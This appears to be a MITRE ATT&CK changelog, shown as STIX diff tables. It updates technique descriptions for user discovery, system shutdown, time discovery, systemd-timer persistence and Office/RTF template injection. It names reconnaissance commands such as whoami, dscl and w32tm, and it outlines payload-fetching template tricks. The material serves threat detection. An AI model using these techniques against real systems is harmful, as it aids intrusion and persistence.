| modified | 2020-03-15 01:03:47.866000+00:00 | 2022-04-20 19:04:03.271000+00:00 |
| description | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Utilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who. | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. |
| x_mitre_data_sources[0] | File monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Process monitoring | Windows Registry: Windows Registry Key Access |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Access | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Active Directory: Active Directory Object Access | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may shutdown/reboot systems to interrupt access | t | 1 | Adversaries may shutdown/reboot systems to interrupt access |
| > | to, or aid in the destruction of, those systems. Operating s | > | to, or aid in the destruction of, those systems. Operating s | ||
| > | ystems may contain commands to initiate a shutdown/reboot of | > | ystems may contain commands to initiate a shutdown/reboot of | ||
| > | a machine. In some cases, these commands may also be used t | > | a machine or network device. In some cases, these commands | ||
| > | o initiate a shutdown/reboot of a remote computer.(Citation: | > | may also be used to initiate a shutdown/reboot of a remote c | ||
| > | Microsoft Shutdown Oct 2017) Shutting down or rebooting sys | > | omputer or network device.(Citation: Microsoft Shutdown Oct | ||
| > | tems may disrupt access to computer resources for legitimate | > | 2017)(Citation: alert_TA18_106A) Shutting down or rebooting | ||
| > | users. Adversaries may attempt to shutdown/reboot a system | > | systems may disrupt access to computer resources for legitim | ||
| > | after impacting it in other ways, such as [Disk Structure W | > | ate users. Adversaries may attempt to shutdown/reboot a sys | ||
| > | ipe](https://attack.mitre.org/techniques/T1561/002) or [Inhi | > | tem after impacting it in other ways, such as [Disk Structur | ||
| > | bit System Recovery](https://attack.mitre.org/techniques/T14 | > | e Wipe](https://attack.mitre.org/techniques/T1561/002) or [I | ||
| > | 90), to hasten the intended effects on system availability.( | > | nhibit System Recovery](https://attack.mitre.org/techniques/ | ||
| > | Citation: Talos Nyetya June 2017)(Citation: Talos Olympic De | > | T1490), to hasten the intended effects on system availabilit | ||
| > | stroyer 2018) | > | y.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic | ||
| > | Destroyer 2018) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 21:18:48.149000+00:00 | 2022-02-18 21:00:33.705000+00:00 |
| description | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users. Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device.(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users. Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) |
| external_references[2]['source_name'] | Talos Nyetya June 2017 | alert_TA18_106A |
| external_references[2]['description'] | Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019. | CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022. |
| external_references[2]['url'] | https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html | https://www.cisa.gov/uscert/ncas/alerts/TA18-106A |
| external_references[3]['source_name'] | Talos Olympic Destroyer 2018 | Talos Nyetya June 2017 |
| external_references[3]['description'] | Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. | Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019. |
| external_references[3]['url'] | https://blog.talosintelligence.com/2018/02/olympic-destroyer.html | https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Sensor Health: Host Status |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. | Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'} | |
| x_mitre_platforms | Network |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may gather the system time and/or time zone fro | t | 1 | An adversary may gather the system time and/or time zone fro |
| > | m a local or remote system. The system time is set and store | > | m a local or remote system. The system time is set and store | ||
| > | d by the Windows Time Service within a domain to maintain ti | > | d by the Windows Time Service within a domain to maintain ti | ||
| > | me synchronization between systems and services in an enterp | > | me synchronization between systems and services in an enterp | ||
| > | rise network. (Citation: MSDN System Time) (Citation: Techne | > | rise network. (Citation: MSDN System Time) (Citation: Techne | ||
| > | t Windows Time Service) System time information may be gath | > | t Windows Time Service) System time information may be gath | ||
| > | ered in a number of ways, such as with [Net](https://attack. | > | ered in a number of ways, such as with [Net](https://attack. | ||
| > | mitre.org/software/S0039) on Windows by performing <code>net | > | mitre.org/software/S0039) on Windows by performing <code>net | ||
| > | time \\hostname</code> to gather the system time on a remot | > | time \\hostname</code> to gather the system time on a remot | ||
| > | e system. The victim's time zone may also be inferred from t | > | e system. The victim's time zone may also be inferred from t | ||
| > | he current system time or gathered by using <code>w32tm /tz< | > | he current system time or gathered by using <code>w32tm /tz< | ||
| > | /code>. (Citation: Technet Windows Time Service) The informa | > | /code>. (Citation: Technet Windows Time Service) This infor | ||
| > | tion could be useful for performing other techniques, such a | > | mation could be useful for performing other techniques, such | ||
| > | s executing a file with a [Scheduled Task/Job](https://attac | > | as executing a file with a [Scheduled Task/Job](https://att | ||
| > | k.mitre.org/techniques/T1053) (Citation: RSA EU12 They're In | > | ack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're | ||
| > | side), or to discover locality information based on time zon | > | Inside), or to discover locality information based on time z | ||
| > | e to assist in victim targeting. | > | one to assist in victim targeting (i.e. [System Location Dis | ||
| > | covery](https://attack.mitre.org/techniques/T1614)). Adversa | ||||
| > | ries may also use knowledge of system time as part of a time | ||||
| > | bomb, or delaying execution until a specified date/time.(Ci | ||||
| > | tation: AnyRun TimeBomb) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ["FIRST.ORG's Cyber Threat Intelligence SIG"] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 01:07:42.700000+00:00 | 2021-04-22 23:09:24.799000+00:00 |
| description | An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. | An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)
This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb) |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'AnyRun TimeBomb', 'description': 'Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.', 'url': 'https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse systemd timers to perform task schedul | t | 1 | Adversaries may abuse systemd timers to perform task schedul |
| > | ing for initial or recurring execution of malicious code. Sy | > | ing for initial or recurring execution of malicious code. Sy | ||
| > | stemd timers are unit files with file extension <code>.timer | > | stemd timers are unit files with file extension <code>.timer | ||
| > | </code> that control services. Timers can be set to run on a | > | </code> that control services. Timers can be set to run on a | ||
| > | calendar event or after a time span relative to a starting | > | calendar event or after a time span relative to a starting | ||
| > | point. They can be used as an alternative to [Cron](https:// | > | point. They can be used as an alternative to [Cron](https:// | ||
| > | attack.mitre.org/techniques/T1053/003) in Linux environments | > | attack.mitre.org/techniques/T1053/003) in Linux environments | ||
| > | .(Citation: archlinux Systemd Timers Aug 2020) Each <code>. | > | .(Citation: archlinux Systemd Timers Aug 2020) Systemd timer | ||
| > | timer</code> file must have a corresponding <code>.service</ | > | s may be activated remotely via the <code>systemctl</code> c | ||
| > | code> file with the same name, e.g., <code>example.timer</co | > | ommand line utility, which operates over [SSH](https://attac | ||
| > | de> and <code>example.service</code>. <code>.service</code> | > | k.mitre.org/techniques/T1021/004).(Citation: Systemd Remote | ||
| > | files are [Systemd Service](https://attack.mitre.org/techniq | > | Control) Each <code>.timer</code> file must have a correspo | ||
| > | ues/T1543/002) unit files that are managed by the systemd sy | > | nding <code>.service</code> file with the same name, e.g., < | ||
| > | stem and service manager.(Citation: Linux man-pages: systemd | > | code>example.timer</code> and <code>example.service</code>. | ||
| > | January 2014) Privileged timers are written to <code>/etc/s | > | <code>.service</code> files are [Systemd Service](https://at | ||
| > | ystemd/system/</code> and <code>/usr/lib/systemd/system</cod | > | tack.mitre.org/techniques/T1543/002) unit files that are man | ||
| > | e> while user level are written to <code>~/.config/systemd/u | > | aged by the systemd system and service manager.(Citation: Li | ||
| > | ser/</code>. An adversary may use systemd timers to execute | > | nux man-pages: systemd January 2014) Privileged timers are w | ||
| > | malicious code at system startup or on a scheduled basis fo | > | ritten to <code>/etc/systemd/system/</code> and <code>/usr/l | ||
| > | r persistence.(Citation: Arch Linux Package Systemd Compromi | > | ib/systemd/system</code> while user level are written to <co | ||
| > | se BleepingComputer 10JUL2018)(Citation: gist Arch package c | > | de>~/.config/systemd/user/</code>. An adversary may use sys | ||
| > | ompromise 10JUL2018)(Citation: acroread package compromised | > | temd timers to execute malicious code at system startup or o | ||
| > | Arch Linux Mail 8JUL2018) Timers installed using privileged | > | n a scheduled basis for persistence.(Citation: Arch Linux Pa | ||
| > | paths may be used to maintain root level persistence. Advers | > | ckage Systemd Compromise BleepingComputer 10JUL2018)(Citatio | ||
| > | aries may also install user level timers to achieve user lev | > | n: gist Arch package compromise 10JUL2018)(Citation: acrorea | ||
| > | el persistence. | > | d package compromised Arch Linux Mail 8JUL2018) Timers insta | ||
| > | lled using privileged paths may be used to maintain root lev | ||||
| > | el persistence. Adversaries may also install user level time | ||||
| > | rs to achieve user level persistence. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 15:20:00.754000+00:00 | 2021-07-27 16:43:25.027000+00:00 |
| description | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)
Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.
An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence. | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.
An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence. |
| external_references[2]['source_name'] | Linux man-pages: systemd January 2014 | Systemd Remote Control |
| external_references[2]['description'] | Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. | Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021. |
| external_references[2]['url'] | http://man7.org/linux/man-pages/man1/systemd.1.html | https://www.tecmint.com/control-systemd-services-on-remote-linux-server/ |
| external_references[3]['source_name'] | Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 | Linux man-pages: systemd January 2014 |
| external_references[3]['description'] | Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. | Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. |
| external_references[3]['url'] | https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ | http://man7.org/linux/man-pages/man1/systemd.1.html |
| external_references[4]['source_name'] | gist Arch package compromise 10JUL2018 | Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 |
| external_references[4]['description'] | Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. | Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. |
| external_references[4]['url'] | https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a | https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ |
| external_references[5]['source_name'] | acroread package compromised Arch Linux Mail 8JUL2018 | gist Arch package compromise 10JUL2018 |
| external_references[5]['description'] | Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019. | Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. |
| external_references[5]['url'] | https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html | https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'acroread package compromised Arch Linux Mail 8JUL2018', 'description': 'Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.', 'url': 'https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html'} | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 22:14:56.107000+00:00 | 2021-10-17 14:12:33.188000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Network Share: Network Share Access | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify references in Office docume | t | 1 | Adversaries may create or modify references in user document |
| > | nt templates to conceal malicious code or force authenticati | > | templates to conceal malicious code or force authentication | ||
| > | on attempts. Microsoft’s Office Open XML (OOXML) specificati | > | attempts. For example, Microsoft’s Office Open XML (OOXML) | ||
| > | on defines an XML-based format for Office documents (.docx, | > | specification defines an XML-based format for Office documen | ||
| > | xlsx, .pptx) to replace older binary formats (.doc, .xls, .p | > | ts (.docx, xlsx, .pptx) to replace older binary formats (.do | ||
| > | pt). OOXML files are packed together ZIP archives compromise | > | c, .xls, .ppt). OOXML files are packed together ZIP archives | ||
| > | d of various XML files, referred to as parts, containing pro | > | compromised of various XML files, referred to as parts, con | ||
| > | perties that collectively define how a document is rendered. | > | taining properties that collectively define how a document i | ||
| > | (Citation: Microsoft Open XML July 2017) Properties within | > | s rendered.(Citation: Microsoft Open XML July 2017) Propert | ||
| > | parts may reference shared public resources accessed via on | > | ies within parts may reference shared public resources acces | ||
| > | line URLs. For example, template properties reference a file | > | sed via online URLs. For example, template properties may re | ||
| > | , serving as a pre-formatted document blueprint, that is fet | > | ference a file, serving as a pre-formatted document blueprin | ||
| > | ched when the document is loaded. Adversaries may abuse thi | > | t, that is fetched when the document is loaded. Adversaries | ||
| > | s technology to initially conceal malicious code to be execu | > | may abuse these templates to initially conceal malicious co | ||
| > | ted via documents. Template references injected into a docum | > | de to be executed via user documents. Template references in | ||
| > | ent may enable malicious payloads to be fetched and executed | > | jected into a document may enable malicious payloads to be f | ||
| > | when the document is loaded. (Citation: SANS Brian Wiltse T | > | etched and executed when the document is loaded.(Citation: S | ||
| > | emplate Injection) These documents can be delivered via othe | > | ANS Brian Wiltse Template Injection) These documents can be | ||
| > | r techniques such as [Phishing](https://attack.mitre.org/tec | > | delivered via other techniques such as [Phishing](https://at | ||
| > | hniques/T1566) and/or [Taint Shared Content](https://attack. | > | tack.mitre.org/techniques/T1566) and/or [Taint Shared Conten | ||
| > | mitre.org/techniques/T1080) and may evade static detections | > | t](https://attack.mitre.org/techniques/T1080) and may evade | ||
| > | since no typical indicators (VBA macro, script, etc.) are pr | > | static detections since no typical indicators (VBA macro, sc | ||
| > | esent until after the malicious payload is fetched. (Citatio | > | ript, etc.) are present until after the malicious payload is | ||
| > | n: Redxorblue Remote Template Injection) Examples have been | > | fetched.(Citation: Redxorblue Remote Template Injection) Ex | ||
| > | seen in the wild where template injection was used to load m | > | amples have been seen in the wild where template injection w | ||
| > | alicious code containing an exploit. (Citation: MalwareBytes | > | as used to load malicious code containing an exploit.(Citati | ||
| > | Template Injection OCT 2017) This technique may also enabl | > | on: MalwareBytes Template Injection OCT 2017) Adversaries m | ||
| > | e [Forced Authentication](https://attack.mitre.org/technique | > | ay also modify the <code>*\template</code> control word with | ||
| > | s/T1187) by injecting a SMB/HTTPS (or other credential promp | > | in an .rtf file to similarly conceal then download malicious | ||
| > | ting) URL and triggering an authentication attempt. (Citatio | > | code. This legitimate control word value is intended to be | ||
| > | n: Anomali Template Injection MAR 2018) (Citation: Talos Tem | > | a file destination of a template file resource that is retri | ||
| > | plate Injection July 2017) (Citation: ryhanson phishery SEPT | > | eved and loaded when an .rtf file is opened. However, advers | ||
| > | 2016) | > | aries may alter the bytes of an existing .rtf file to insert | ||
| > | a template control word field to include a URL resource of | ||||
| > | a malicious payload.(Citation: Proofpoint RTF Injection)(Cit | ||||
| > | ation: Ciberseguridad Decoding malicious RTF files) This te | ||||
| > | chnique may also enable [Forced Authentication](https://atta | ||||
| > | ck.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or | ||||
| > | other credential prompting) URL and triggering an authentica | ||||
| > | tion attempt.(Citation: Anomali Template Injection MAR 2018) | ||||
| > | (Citation: Talos Template Injection July 2017)(Citation: ryh | ||||
| > | anson phishery SEPT 2016) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-29 14:37:59.462000+00:00 | 2022-01-12 18:16:56.176000+00:00 |
| description | Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017) Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded. Adversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017) This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016) | Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)
Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.
Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)
Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)
This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016) |
| external_references[5]['source_name'] | Anomali Template Injection MAR 2018 | Proofpoint RTF Injection |
| external_references[5]['description'] | Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018. | Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021. |
| external_references[5]['url'] | https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104 | https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread |
| external_references[6]['source_name'] | Talos Template Injection July 2017 | Ciberseguridad Decoding malicious RTF files |
| external_references[6]['description'] | Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018. | Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021. |
| external_references[6]['url'] | https://blog.talosintelligence.com/2017/07/template-injection.html | https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/ |
| external_references[7]['source_name'] | ryhanson phishery SEPT 2016 | Anomali Template Injection MAR 2018 |
| external_references[7]['description'] | Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018. | Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018. |
| external_references[7]['url'] | https://github.com/ryhanson/phishery | https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104 |
| x_mitre_data_sources[0] | Anti-virus | Process: Process Creation |
